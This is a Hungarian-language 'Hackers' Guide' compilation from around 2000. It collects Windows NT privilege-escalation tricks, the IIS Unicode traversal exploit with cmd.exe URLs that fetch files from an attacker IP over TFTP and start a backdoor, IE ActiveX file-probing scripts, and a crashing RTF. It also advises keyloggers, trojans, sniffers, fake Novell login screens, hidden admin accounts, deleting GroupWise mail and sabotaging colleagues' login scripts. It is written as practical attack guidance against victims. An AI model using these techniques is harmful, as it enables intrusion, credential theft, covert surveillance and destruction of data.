14.1 Mi az a GetAdmin.exe és a Crash4.exe ?

A getadmin.exe egy program amelyet Konstantin Sobolev irta. Elinditva a kiválasztott usert az Administrátor csoprtjába helyezi el. Mûködik NT 4.0-n. A programot egyszerûen másold be a \TEMP könyvtárba(a program futásához kell a GASYS.DLL) és igy futtasd:GETADMIN GUEST (vagy olyan hozzáféréssel amilyened van a rendszerhez). Ezzel a Guest felhasználó csatlakozott az admin csoportjába. Getadmin adni fog domain accountot, elsõdleges domain vezérlõ és még más domain hozzáférést. Mivel parancssori eszköz, fel kell töltened a célpontra. Az SP3 Hot Fix ha fentvan a szerveren akkor ez nem mûködik.

A Crash4.exe az SP3-al patchelt szervereken megoldja ezt a Getadminos problémát. Simán inditsd a Crash4et és ugyanazt az eredményt éred el mint a Getadmin.exe-vel. A Crash4 átrendez néhány dolgot a vermen engedélyezi a Getadmin futtatását.

14.2 Kellene még helyi Administrátori hozzáférés?

Egy csomó NT adminisztrátor nem értesül amikor belép valaki az NT-be, ha nekik az adminisztárori password a céljuk, és új felhasználót adnak a rendszerhez. A domainhez tartozó helyi felhasználókat NE kapcsold ki.

Ha adminisztrátori jogokat szereztél, használd ezeket a kis trükköket (ezek akkor mûködnek ha a célponton az install után maradtak a default beállitások)

120

Hackers’ Guide

-NBTSTAT -A x.x.x.x (Ird be az x-ek helyére azt az IP cimet amivel kapcsolatban vagy) -Add hozzá a gép nevét a te LMHOSTS fájlodhoz, a késõbbi visszatérés esetére. -Ha nem NT 4.x gépen vagy, csinálj 1 NBTSTAT -R a Netbios nevének frissitiséhez. -Nézd meg a NET VIEW \\machinename paranccsal a megosztott könyvtárakat. -A DIR \\machinename\share a nyitott megosztott könyvtárakat mutatja meg. -Ismét NET VIEW \\ipadress vagy a NET VIEW \\célpont.teljes.neve.com, amely megadja NT 4.0 alatt a felhsználó neveket.

14.3 Ha Guest elérésem van,hogy tudok adminisztrátor hozzáférést szerezni?

Elõször irj egy win32 alkalmazást ami a következõt csinálja: net user administrator biteme /y notepad %1 %2 %3 %4 %5 A Share listához read/write hozzáférést kapsz, ha feltöltöd ezt. Most változtasd meg a kapcsolatot a txt fileok és a notepad szerkesztõprogram között úgy, hogy a feltöltött file-ra mutasson! Csak várnod kell még az admin elinditja a text fájlokat, a kódokat már kapja is a "biteme". Természetesen, ha a Sys Admin 1 kicsit értelmes megváltoztatja a hozzáférést a HKEY_CLASSES_ROOT-ra, hogy ne férjen hozzá mindenki, akkor csak maximum a tulajdonos/alkotó jogaihoz kapunk teljes elérést.

14.4 Hogyan lehet irhatóvá tenni a %systemroot%\system32?

Legközelebb innen folytatjuk! A FAQ a http://www.nmrc.org-ról származik, amit mindenképpen érdemes megnézni! Forditotta Depth! ************************************************************************************************ FrontPage bug A Win-es FrontPage PWD32/3.0.2.926 összeomlik ha az url 167+ hosszúságú. Tesztelve: Windows'95 FrontPage Server Extensions Version: 3.0.2.926 Version: FrontPage-PWS32/3.0.2.926. íme a hibaüzenet: VHTTPD32 caused an invalid page fault in module VHTTPD32.EXE at 0137:0040aaed. Registers: EAX=010d7740 CS=0137 EIP=0040aaed EFLGS=00010202 EBX=00000000 SS=013f ESP=010d53d0 EBP=010d0074 ECX=010d7740 DS=013f ESI=010d7740 FS=13c7 EDX=000000a8 ES=013f EDI=bff92ac1 GS=0000 Bytes at CS:EIP: ff 75 10 56 68 94 01 00 00 eb 1c 68 00 24 40 00

121

Hackers’ Guide

Stack dump: 00000010 010d7740 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

ViDe0 (Angol verzió: Narr0w)

************************************************************************************************ Minden az UNICODE bug-ról Nemrégiben a www.hirek.com (PrímOnline)-on olvastam a vezércikkek között: "Védtelen a Win2000 a most felfedezett bugnak köszönhetően"-gal... A cikk egy budapesti középiskola szerverét illetve a Verseny'2000 portálját említette. Mivel a rendszergazdák figyelmét felhívó illető éppen a #eurohack (IRCNet) csatornán lógott megkérdeztem tőle, hogy mégis mi ez az "új" bug... mivel enyhe barokkos körmondatokban próbált rávezetni a lényegre pár sor után rákérdeztem, "ugye ez a unicode bug?" mível ő erre pillanatok után válaszolt: "Igen". Nohát amit a PrímOnline "új" bugnak tituláltak, az kb. több mint 4 hónapja ismert volt a hacker társadalom számára és már egy ideje patchelhető is. A másik, hogy valaki így valaki úgy értelmezi a védtelen szót... én pl. úgy hogy nem lehet megvédeni a szervert, mert nincsen rá még megoldás... de ez más tészta... Jómúltkoriban az egyik magyar levelezőlistán egy ürge anti-informatívnak nevezte cikkeimet és magát az oldalt. Nemtudom, azért mert valaki nem érti, még nem biztos, hogy rossz és megegyszer hangsúlyozom: az oldal csak az útat szeretné megmutatni és nem azt, hogy egy 3. osztályos kisiskolás how-to szerint lépésről lépésre hogyan törje fel iskolájának sulinetes szerverét... Amikor olyan alapvető dolgokkal sincs tisztában, mint a SAM, shadow fájl illetve hogy miképpen lehet Windows mellé Linuxot telepíteni (mert az illető még azt sem tudta). Jó olvasgatást kíván a szerző:

Nestan - mailto: [email protected]

·

Kitekintés a közelmúltba... Nem tudom, hogy feltünt-e a nagyérdemûnek, de mostanában elég sok Windows NT-s szervert törtek. Nagyvalószínûséggel az esetek legtöbbségében a unicode bug a hibás. Menjünk csak el a http://defaced.alldas.de/ oldalra és válasszunk ki egyet a nemrégen feltört Windows NT/Windows'2000 szerverek közül. 10-bõl 7-nél biztosan, hogy fog mûködni a unicode bug... és 6-nál biztos, hogy ennek a bugnak a segítségével hajtották végre a defacementet. De magyar viszonlatokban is több nemrégen defacelt oldalt lehetne említeni... Én a cikk megjelenése elõtt az általam ismert több mint 300 szerverüzemeltetõnek elküldtem figyelmeztetõ levelemet és

122

Hackers’ Guide

felajánlottam segítségemet. Ilyen oldal volt csak az érdeklõdés kedvéért a www.tozsdeforum.hu , www.mobilforum.hu vagy régebben (igaz nem általam figyelmeztetett) www.malev.hu is illetve egy tucat sulinetes szerver. Sajnálatra méltó, hogy a rendszergazdák ennyire nem figyelnek rendszereik biztonságára és egy defacement támadás után a hackereket mindennek elmondják, csak jónak nem. Persze a fentiek mint tisztelet a kivételnek, akik készségesen áltak hozzá a dolgokhoz...

A hibáról... A hibára figyelmeztetõ levelet legelõször a ntbugtraq-en láttam. Akkor (szerény angoltudásom mellett) a lényeget lefordítottam magamnak és elraktam biztosabb helyekre merevlemezemen, mondván jó lesz még valamire ;-) Most pár hónap után eljött az idõ imho... Ha a

http://aldozathostja/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

URL-t megnyitjuk böngészönkben és nincs patchelve az adott szerver, akkor nagyvalószinûséggel az adott szerver C:\ meghajtójával találjuk szembe magunkat... Valahogy így:

Directory of C:\ 01.03.27 17:11 <DIR> Acrobat3 97.01.20 14:31 26 112 ADMNALOW.EXE 98.07.02 02:20 0 AUTOEXEC.BAT 98.07.02 02:20 10 CONFIG.SYS 00.12.13 80 240 dialer.exe 00.03.18 12:38 <DIR> exchsrvr 00.10.10 17:58 <DIR> GIB28 99.02.01 10:51 <DIR> iissamples 99.02.04 12:09 <DIR> inetpub 99.02.11 11:48 <DIR> MSSQL7 98.07.02 09:19 <DIR> Multimedia Files 01.02.20 18:16 <DIR> My Music 00.06.01 13:45 <DIR> NTRESKIT 00.02.17 11:17 <DIR> Perl 01.03.27 14:54 <DIR> Program Files 01.03.18 20:02 <DIR> scripts 01.03.18 22:02 <DIR> TEMP 01.03.10 16:01 34 945 Tree.Far 00.10.27 09:26 <DIR> Web 01.03.30 13:10 <DIR> WINNT 36 File(s) 475 616 bytes 857 862 144 bytes free Tehát mint látható egy megadott URL után a hiba következtében egyszerû MS-DOS parancsorokat adhatunk ki URL formájában, amit a szerver végrehajt... Ilyen például az echo, copy, dir, rename, delete, vagy pl. alkalmazások futtatása... A space-t a "+" jelképezi... pl /c+copy+C:\autoexec.bat+C:\Inetpub\wwwroot

123

Hackers’ Guide

TFTPD-rõl... avagy hogyan töltsünk fel fájlokat a szerverre... A Windows NT / Windows'2000 System32 könyvtárában található egy TFTP.EXE nevû fájl, melynek segitségével, ha gépünkön egy tftp szerver fut, képesek vagyunk gépünkrõl a szerverre egy URL leadásával fájokat feltölteni. Ehhez az alábbi URL-t kell leadni:

http://aldozathostja/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\winnt\system32\ tftp.exe+-i+123.123.123.123+GET+FAJLNEVE+c:\inetpub\wwwroot\FAJLNEVE

Ha minden igaz, akkor a FAJLNEVE nevû fájl egybõl elérhetõ lesz a wwwroot könyvtárban, tehát pl. egy ASP-t (ezt láttam leggyakrabban / uplad.asp) elérhetjük a http://aldozathostja/FAJLNEVE címrõl. Nagyjából ennyi kell a defacehez... Tapasztaltam olyat, hogy nem megy fel a fájl a szerverre, ez akkor van, ha a megadott könyvtárban (itt pl. wwwroot nincs jogunk) ekkor érdemes elõször a C:\TEMP-be feltölteni a cuccost...

TINI.EXE, avagy hamár backdoor... ;-) Egyik ötlet után jött a másik... és mit ad isten (sajnos semmi jót) feltöltöttünk egy TINI.EXE backdoor-t és URL segítségével elindítottuk... Sikerült... a 7777-es porton keresztül ki be járkálni és a telnet kliensben mintha egy MS-DOS parancssorban lettünk volna csépelni a jobbnál jobb DOS parancsokat... ;)

Észrevételek... Felfigyeltünk arra is, hogy bizonyos esetekben ajánlatos a cmd.exe-t elsõ lépésként átmásolni valami igényesebbnek mondható könyvtárba. Amerikai szervereken fõleg a /scripts könyvtárakban volt töménytelen másolat...

Hogyan patcheljük? Nem szeretném itt tovább dagasztani a szót, ugyhogy inkább berakok két linket, ahol a patch elérhetõvé vállik mindenki számára jó lenne mihamarabb letölteni...

124

Hackers’ Guide

Windows NT - http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/ Windows'2000 - http://www.microsoft.com/windows2000/downloads/critical/q269862

Egyéb letöltésekTINI.EXE - Letöltés - TFTP server - Letöltés - ************************************************************************************************ Internet Explorer tartalmi tanácsadó kikapcsolása Ezzel lehetne megvédeni a gyerekeket az neten fellelheto káros tartalomtól, de kimondottan idegesíto, amikor kéri a jelszót az ismeretlen helyekhez is, foleg ha nem tudom passwordöt :) Beállítani az Internet Exlorer menüjében lehet (Eszközök/Internet beállítások/Tartalom fül). Kikapcsolni ugyanitt, a jelszó ismerete nélkül pedig a registry-ben kell matatni. Pontosabban az alábbi címen: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\CurrentVersion\ Policies\ Ratings

Innen kell a "Key" kulcsot törölni, lehetoleg úgy, hogy közben ne legyen megnyitva egy IE ablak sem. Ezután a beállíthatjuk az új jelszót, de a "Tiltás" gomb ne tévesszen meg senkit, ha megnyomod beállíthatod az új jelszót (IE5.01 esetében).

Tesztelt verziók:

• 4.0 HU

• 5.01 HU

Sun-Zero [email protected] ************************************************************************************************ Riched20.dll

125

Hackers’ Guide

A Win98/NT4 Riched20.dll-je (amit a WordPad használ) buffer overflowolható egy ".rtf" file-al. Crashme.rtf : {\rtf\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} ViDe0 (felfedezte: Pauli Ojanpera) ************************************************************************************************ ActiveX I.

Az IE 5.0 és a Windows Media Player ActiveX object segítségével ellenoríthetjük, hogy létezik - e egy adott fájl vagy könyvtár. A probléma egy hibakód, amit a Windows Media Player ActiveX object ad vissza, amikoregy fájlt akarunk vele megnyitni. A kód a következo:

------------------------------------------------------------------------

<object id="wm" WIDTH=0 HEIGHT=0 classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"> </object> <SCRIPT> // -2147220970 functioncheckfile(){b=document.all.wm;b.FileName=document.forms[0].elements[0].value;if (b.ErrorCode == -2147220970) alert("File does not exist")else alert("File exists");} </SCRIPT> <FORM> <INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60><INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()"> </FORM>

------------------------------------------------------------------------

Védelem: Tiltsd le az Acitve Scriptinget Demonstráció: http://www.nat.bg/~joro/mscheckf.html

Petycomp ************************************************************************************************

126

Hackers’ Guide

ActiveX II.

Az IE 5.0 Win95 és NT alatt tartalmaz egy biztonsági problémát HTTP átirányításakor az XML objektumokban. Ez a következoket engedi meg:

1. Bármelyik XML vagy jól megformázott dokumentum olvasását. 2. Dokumentumok egy részének olvasását. 3. Fájlok létezésének ellenorzését.

A kód a következo:

---------------------------------------------------------------------------------------- <object id="xm" type= "text/xml" data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height= 200> </object> <SCRIPT> function f() { s= xm.body.innerHTML; a= window.open(); //alert (s); a.document.open(); a.document.write("Here is a part of AUTOEXEC.BAT (the error message is normal):<BR>"+s); a.document.close(); } setTimeout("f()",5000); </SCRIPT> ---------------------------------------------------------------------------------------

Védelem: Az Active Scripting letiltása. Demonstráció: http://www.nat.bg/~joro/xmln.html

Petycomp ************************************************************************************************

127

Hackers’ Guide

Novell Novell jelszavak a Windows alatt Ha hozzáférsz egy novell szerveres hálózathoz, és ott win9x klienseket használnak, akkor amikor be akarsz lépni a windows kliensen novell alá, a windows megint megkérdezi a jelszavad. Ez lesz a profil jelszavad, ahhoz a géphez. (Persze nem kötelezo beirni neki mégegyszer a jelszót, eztáltalában csak a lamerek teszik meg, sajna általában a rendszergazda nem ilyen :-)) Ez csak egyszer történik meg egy gépen, rossz esetben még a nemsokkal windows telepítése utáni jelszavak vannak meg. Ezeket a windows a windows könyvtárban rakosgatja *.pwl fájlokban. A login nevet a system.ini fájl tartalmazza a [Password Lists] bejegyzésben, alapesetben megegyezik a fájlnévvel, de ez egyáltalán nem biztos. A pwl fájlok dátuma elárulja a jelszó utolsó változtatásának idopontját, de érdemes lehet a régebbi jelszavakkal is próbálkozni, mivel az újabbak lehet hogy ezek hybrid változatai. A pwl fájlok frissítése szempontjából csak le kell oket törölni, és a system.ini fájlból kiszedni a rájuk hivatkozó sort, de ez utóbbi nem fontos. A windows ezt tapasztalva a következo belépésnél bekéri megint a jelszót, mintha csak eloször lépett volna be a felhasználó arra a gépre.

Ha valamilyen egyszeru védelem van a gépeken és nem tudod átmásolni a pwl fájlokat akkor próbálkozz még a Küldés/3 1/2 lemez menüvel is.

Sun-Zero [email protected] ************************************************************************************************ Novell LAN Hacking Ez a dokumentum szigorúan és kizárólag csak oktatási céllal készült. A készítõ nem vállal érte semmilyen felelõsséget. A dokumentum pusztán a lehetõségek bemutatása, és nem kívánok senkit ezeknek a módszereknek a használatára buzdítani. Általános alaplépések:

128

Hackers’ Guide

Ha közvetlen hozzáférésed van a hálózatba kötött gépek valamelyikéhez, akár dedikált, akár nem dedikált módban mûködõhöz (az elsõ amúgy szerencsésebb) van egy pár kis kiegészítõ, amivel könnyebbé teheted információbázisod bõvítését. :-) Elõször is célszerû keyloggert telepíteni a gépre. Mivel az MS-nak enyhén szólva monopólhelyzete van az operációs rendszerek területén, ezért több mint valószínû, hogy Windows 9x fut a kliens gépeken. Ez a platform viszont nem különösebben a biztonságáról híres nagyon jó keyloggereket találni alá. Ezek közül a Stealth Keyboard Interceptor progit, vagyis köznyelven a SKIN-t szeretném kiemelni. Barátságos kezelõfelület, könnyû installálás, és maximálisan rejtett a program magja, kizárt, hogy észrevegyék, hogy a gépen van. Az adminisztrálása jelszóhoz köthetõ, csakúgy mint a log fájl kódolása, maximálisan testreszabható, hogy mennyire részletesen mentse a gépen történõ eseményeket. Ezen kívül szûrõket is alkalmazhatunk, sõt, az AS verziója a log fájl automatikus emailtovábbításáról is gondoskodik. Elérhetõ a www.keyloggers.com -on, _mûködõ_ serial pedig tõlem kérhetõ :-) Aztán, amit még egy hálón az ember megtesz, az az, hogy minnél több gépre trojant telepít. Ezzel nem feltétlen a szivatás és feltûnõsködés a cél, hanem bizonyos jogú személyek (pl. admin) figyelése. De persze a látszólagosan ok nélküli gépújraindításokkal is ki lehet készíteni az ellenségeink idegeit :) Ha a hálózati topológia megengedi, akkor feltétlen fel kell rakni a gépre egy sniffer programot. Windows platformra elég kevés mûködõ példánnyal találkoztam, tetszésemet a Sniffer Pro nevû nyerte meg leginkább. Már méretében is kitûnik a többitõl, ugyanis húsz mega körül van. Nagy mérete a rengeteg protokoll ismerésének tulajdonítható, köztük teljesen ismeretlenekkel is találkozik az ember :) Habár manapság már a hálózati bejelentkezés adatait a számítógép titkosítva küldi el a szervernek, elõfordul gyakran, hogy pl. valaki a Freemailre jelentkezik be, amit gyönyörûen lehet sniffelni. Ezzel a módszerrel is szépen lehet aratni hozzáféréseket. :-) Novell: Elég sok helyen használnak Novell NetWare/IntraNetWare szervert, (Novell, és nem Nowell és Novel ahogy sok helyen leírva látom) ezért pár ötletet adnék ennek a szervernek a töréséhez is. Ajánlott elõször is átolvasni a Novell FAQ-ot, amiben a rendszer alap jellemzõirõl ír, félépítés, ilyesmi. Ha érdekel, mail 2 me :) Elsõ dolog, amit be kell szerezni, az Pandora nevû program. Készítõi így reklámozzák: the Satan of Netware. Ezzel a programmal online vagy offline (lásd pár sorral lejjebb) tudunk NetWare hozzáféréseket dictionary vagy brute force módszerrel törni. Online az, amikor olyan géprõl futtatjuk a programot, amelyik kommunikálni tud a szerverrel, vagyis a hálózatba van kapcsolva, és offline, amikor az elmentett jelszóállományokból próbál jelszavakat nyerni. A Pandora-nak elég sok OS-re létezik változata, így megtalálható DOS, LINUX, WINDOWS 9x alatt is. Van a NetWarenek egy szeretett szolgáltatása, az üzenetküldés. :) Egy nagy hibája van, hogy az üzeneteket úgy állítja össze, hogy az üzenetküldõ program rakja hozzá az üzenethez azt a szöveget is, hogy ki küldte az üzenetet. Ez nyílvánvalóan visszaélésekre ad lehetõséget :) A www.hekinfo.com -on láttam egy programot forrással együtt ennek megvalósítására. (Ha már itt tartunk, találsz ott egy olyan progit is, ami megcsipogtatja a szervert azáltal, hogy nem titkosítva küldi a szimulált bejelentkezáskor a jelszavakat.) Ha GroupWise telepítve van a rendszerre, és hozzáférésed is van hozzá, akkor törlési jogodnak is _kell_ lennie a GroupWise adatbázis fájlokhoz. Amennyiben a rendszergazda lama, nyugodtan letörölheted ezeket a fájlokat. Az egész rendszerben meg fog bénulni a teljes levelezés. Az eddig

129

Hackers’ Guide

beérkezett levelek mindegyike elveszik, és amíg újra nem telepítik, addig levelet fogadni sem fognak tudni. Ez meglehetõsen kellemetlen, dehát ezért nem kell GroupWise-t használni. :) Ha viszont a rendszergazda egy kicsit is élelmesebb, akkor ne a te loginoddal töröld a programot. Ugyanis a törölt programok a Novellben nagyjából visszaállíthatók, és ott tárolja azt is, hogy ki és mikor törölte. (Azt hogy miért, azt szerencsére nem :) Ezért akkor csináld meg ezt a lépést, amikor tudod már valakinek a jelszavát. Most jut eszembe, hogy nemrég írtam egy FAKE LOGIN-t. Jó tudni :) Ez gyakorlatilag a Novell Clients for Windows 3. akárhányas verziójának a hasonmása. A jelszavakat menti egy állományba, kódolva. Hasznos tud lenni. Még nincs teljesen kész, az installprogi készítésén szórakozom, így most még kicsit körülményes a beüzemelése, de ha érdekel, akkor így is el tudom küldeni. Amint végzek vele, kirakom ide. Van szinte minden Novell rendszernek valami olyan hibája, amit kihasználhatunk. Pl a 3.12-esben egy olyan hiba van, amivel újraindíthatja egy mezei user a gépet. Most nincs itthon a doksi, ezért ezt a részét még módosítanom kell ennek a dokumentumnak. Valami olyan rémlik, hogy egy a szerveren levõ egyébként publikus progit kell megfelelõ paraméterezéssel meghívni. Ennyi. Aztán mit is akartam még írni. Ja. Ha megvan már egy jópár hozzáférés, akkor elõbb utóbb a rendszergazdáé is a kezedbe kerül. Ekkor jön elõször a fülig érõ vigyor, szuperjókedv, meg ilyesmi. De nem túl szerencsés a rendszergazda hozzáférését használni, ezért célszerû egy saját felhasználót létrehozni, (nagyobb felhasználószámú rendszer esetén, akkor ugyanis nem tûnik fel. Ajánlott valamelyik nagylétszámú contextusba helyezni a backdoor emberkét. Esetleg ha kevés a felhasználó, akkor megpróbálkozhatunk saját hozzáférésünk manipulálásával, de az veszélyes, és csak akkor csináljuk, ha nagyon lama a rendszergazda. Van ilyen is:) Szóval mit is kezdtem el írni? Igen. A rendszergazdának van olyan joga, hogy ACCESS CONTROL, ha jól emléxem. Ez arra jogosítja, hogy a jogokat osztogathassa. Ezért kellett nekünk megszerezni a hozzáférését. A NETADMIN (dosos) vagy a NetAdministrator fow Windows progik valamelyikével (most az elsõt javaslom, mert a winesnek egy kicsit körülményesre sikerült a kezelése) elkészítjük az említett backdoor usert. Nem részletezem hogy hogyan, végülis tíz perc kínlódás után rá kell jönnöd, hogy hogyan kell. Viszont a progi beszerzése már kicsit körülményesebb, ugyanis ezzel még nem nagyon találkoztam a neten, de viszont fent van a szerveren, a SYS volume-on, a PUBLIC könyvtárba. Csak ugye alapból nem nagyon van hozzáférése az egyszerû mezei usernek. Na mindegy. Ha netán hozzáférünk a szerverhez, akkor nagyon tanácsos megpróbálni egy pár nlm lefuttatását. Ezek beszerzése hack oldalakról történhet meg, de én is elküldhetem. Használata: kislemezt be a szerverbe, konzolra váltás, és a következõ parancs kiadása: LOAD A:\SETPWD.NLM admin hehe Ez csak egy példa volt. Az nlm megváltoztatja az admin jelszavát hehe-re. Természetesen más nlm-ek is vannak, pl. olyan ami készít egy supervisor hozzáférést, ilyesmi. Remélem, egy-két használható tanácsot adtam. Tudom, hogy nem tuti módszerek, de olyan meg úgysincs. Minden rendszernek másban vannak a hibái. Sok szeretettel a szerzõ: RSC TM [email protected]

130

Hackers’ Guide

************************************************************************************************ Novell érdekességek Elég egyszeruen lehet korlátozni Novell alatt, hogy ki mikor férjen hozzá a hálózathoz, persze supervisor jog nélkül, a login script segítségével. Ha egy fake login vagy keylogger progival megszerezted a illeto jelszavát, akkor nincs más dolog, mint beleirkálni a login scriptjébe, és délután nem fogja eloled foglalni a gépet, mert nem fog tudni belépni (o így látja) vagy sikerül neki a bejelentkezés, de nincs egy hálózati meghajtó sem ;) A lehetoségek száma korlátlan, lehet rendszergazda nevében üzenetet kirakni neki, hogy sorry, stb. A legegyszerubb az a megoldás, hogy automatikusan elindul a logout parancs. Ez elég nagy feltünést kelthet, egyesek akár a rendszergazdához is fordúlhatnak, jobb megoldás, ha töröljük az összes hálózati meghajtót a MAP paranccsal. Persze figyelni kell azt is, hogy mennyi az ido, mert a délelotti órák alatt azért tudjon belépni a user.

A login scriptet az alábbival kell kiegészíteni: IF %HOUR24 > "15" THEN EXIT "logout" Az EXIT parancs után álló parancsot a login script végrehajtása után indul el, hossza nem lehet több mint 14 karakter, ami a billentyuzet puffer hossza -1, mert ide rakja be a parancsot, az utolsó karakter pedig az Enter.

Lehet variálni, hogy csak egy hónap múlva induljon el, a hónap sorsszámát a %MONTH változó tartalmazza. Ez a script csak a március utáni hónapokban muködik: IF %MONTH > "3" AND %HOUR > "15" THEN EXIT "logout" Lehet több parancsot is végrehajtani ha igaz a feltétel: IF %MONTH > "3" AND %HOUR > "15" THEN parancsok ... ...END A script kikerülésének a legegyszerübb módja az, ha a login parancsot a "/NS" (No Script) paraméterrel inditjuk, de ilyenkor nem fut le a System és a Profile login script sem. Emiatt hálózati meghajtók sincsenek, mert ezeket az összerendeléseket is ezek végzik a MAP paranccsal. A mezei felhasználók csak a User login scriptet tudják módosítani, de ezt is le lehet tiltani.

Jó ha tudod kezelni a map parancsot, legalább annyira hogy a login scriptbol ki tudd szedni ezeket a sorokat. MAP INS N SERVERNAME/SYS: A MAP a parancs neve, az INS azt jelenti hogy beszúr egy új meghajtót (DEL-lel lehet törölni) az N miatt a következo szabad betüjelhez rendeli a SERVERNAME-n serveren lévo köteget. A SYS az mindig kötelezo, ezen a kötegen vannak

131

Hackers’ Guide

esetünkben a login script megváltoztatásához kello programok is, például a "netuser".

A meghatók törléséhez a MAP DEL <drive:> parancs kell.

A map parancs parancssori és login scriptbeli használata megegyezik, de a login scriptbelinél van még egy-két paramétere. MAP DISPLAY ONMAP DISPLAY OFF Ezekkel azt lehet szabályozni, hogy a MAP hozzárendelések megjelenjenek-e a képernyon, célszeru offon tartani. Van még egy olyan paraméter is, hogy MAP ERRORS, ennek is két értékte lehet, ON vagy OFF. Ezt is jó ha offra teszed, így az esetleges hibaüzenetek sem jelennek meg, de elotte célszeru onra állítani és letesztelni, hogy minden rendben megy.

Mindegyik script tartalmaz egy kis hibát, hogy csak a hozzáértok tudják használni.

Sun-Zero [email protected] ************************************************************************************************ Novell Groupwise bug

A Novell Groupwise figyelmetlenségét és hibáit kihasználva feltérképezhetünk Novell-es webszervereket és így mégtöbb információhoz jutunk illetve, ha szerencsénk van, akkor súlyosabb és kihasználhatobb hibákat is felfedezhetünk az áldozat gépén... Az egészhez elõsször egy hivatkozást kell megnyitni böngészõprogramunkban:

http ://aldozathostja/cgi-bin/GW5/GWWEB.EXE?HELP=asdf A következõ hiba üzenet fog visszaérkezni: Could not read file SYS:WEB\CGI-BIN\GW5\US\HTML3\HELP\ASDF.HTM (Nem tudja olvasni a SYS:WEB\CGI-BIN\GW5\US\HTML3\HELP\ASDF.HTM fájlt) Evvel megtudhatjuk a Novell GroupWise program teljes elérési útját és innen már gyerekjáték az egész... Ahhoz, hogy .html fájlokat nézegethess a szerver különbözõ helyein, vagy

132

Hackers’ Guide

böngészhess a könyvtárak között, hasznád a HELP szót és a ../ sztringet a könyvtárak között böngészéshez... például: http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm vagy http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../

Nestan [FCF] mailto: [email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater, RSC ************************************************************************************************

IRC, ICQ Két tűz mögött

Kezdetben vala az IRC, s csend üle a netes harcmezôkön. Amikor Jarkko Oikarinen (www.iki.fi/jto) 1988 augusztusa végén kiadta az irc1.0-t, senki sem volt még, aki harcra akarta volna használni - a küzdelmek a valós életben folytak, s az IRC ezek eszközeként vált sikeressé. 1990-ben Szovjetunió felbomlásában, 1991-ben a berlini fal ledöntésében játszott kommunikációs szerepet, s akik idôben ott voltak a - sokáig magyar kézben levô - #NATO csatornán, azok tudják, hogy az IRC ezen szerepe még napjainkban is él.

Jarkko feljegyzései szerint 1996-ban csak a #Quake csatornán 1556-an voltak csúcsidôben, 1997-re pedig már 175000-en csatlakoztak a hálózatokra - a rengeteg felhasználó azonban idôvel a "gonosz fél", a hackerek IRC-en való megjelenését is jelentette. A háborúk kialakulásában nagy szerepet játszott, hogy a kezdeti szám-alapú csatornák, majd a +-os - immáron névvel rendelkezôk - mellett az irc2.6-ban megjelentek a #-el kezdôdô verziók, ahol egyes felhasználóknak többletjoguk lehetett a többivel szemben.

133

Hackers’ Guide

A EFNet-en kialakult hatalmas káoszból való menekülésként 1993-ban megalakult az Undernet, 1994-ben pedig a DALNet - itt a csatornákat már regisztrálni lehetett, ezzel megállítván a területekért folyó harcokat. A magyarországról elérhetô legnépszerübb IRC hálózat 1996 májusában vált le az EFNet-rôl, s annak minden tulajdonságát megtartotta: a háborúk folynak, s ezt az új, "!"-es csatornatípus sem fogja tudni megállítani.

1997 októberében a hálózat stabilitása nagymértékben megingott egy Smurf nevű - ma is elôszeretettel használt - ICMP floodoló program kiadása miatt. A smurf.c segítségével 1 ICMP-t elküldve az áldozat 255-öt is kaphat, s ennek gyakran az IRC serverek látták kárát. Nem sokkal ezután a WinNuke korszak következett, amit a ModemBlitz követett - ezen két DoS ("szolgáltatásmegszüntetô") támadásnak közös jellemzôje, hogy Windows alá is írtak klienst hozzájuk, s így minden Windowsos elôszeretettel lövöldözhette embertársait. Teardrop, Pepsi, SSPing, SMB, land - voltak más "nagy" programok is, háborús szerepüket azonban limitálta, hogy legtöbbüket csak a "Linuxosok" tudták használni. így van ez napjainkban a már réginek, ám hatásosnak számító IGMP-s DoS támadással is - a Windows`98 használók többsége nem is hallott róla, s így természetesen a védekezéssel sem törôdik.

A csatornákért folytatott harcokat még sokáig nem lehet majd megfékezni az IRCNeten - 1998-ban néhány magyarnak az európai IRCOP-ok gyülekezôhelyét is sikerült pár percre elfoglalnia -, az ICQ-sokat is érinô DoS támadások nagy részét azonban kivédhetjük, ha felkészülünk rájuk.

Az igazi megoldás természetesen a sokat emlegetett IP-cím elrejtés lenne, a nyilvános socket firewallok - egyes rosszindulatú felhasználók miatt - azonban szinte minden esetben bannolva vannak az IRC serverekrôl (sôt egyes szerverek csatlakozáskor scannelnek, s be sem engednek ha ilyet használsz, ill. van olyan magyar szolgáltató is, amely letiltotta ezek használatának lehetôségét), más megoldást pedig nemigen találni tudás és kapcsolatok nélkül (hacsak nem a lassú web-es IRC klienseket...).

Ha már kénytelenek vagyunk a céltáblát magunkra akasztva közlekedni, jó, ha legalább a találat lehetôségét megpróbáljuk mérsékelni. A legújabb verziók és frissítések használata nem minden esetben elég, s nem is mindig jó dolog - aki például a megjelenéskor azonnal áttért az Internet Explorer legújabb verziójára, esetleg abba a kellemetlen helyzetbe keveredhetett, hogy tudta nélkül új programok kerültek a gépére (www.nat.bg/~joro) - s vajon mindenki telepítette már a hibajavítást?

A tűzfalak sem nyújtanak kellô biztonságot - nem védenek meg a böngészônk ôrültségeitôl, de pl. a Hunger által felfedezett mIRC bug-gal (www.extra.hu/e-trap) szemben sem hatásosak, arról nem is beszélve, hogy rendkívül drága jószágok.

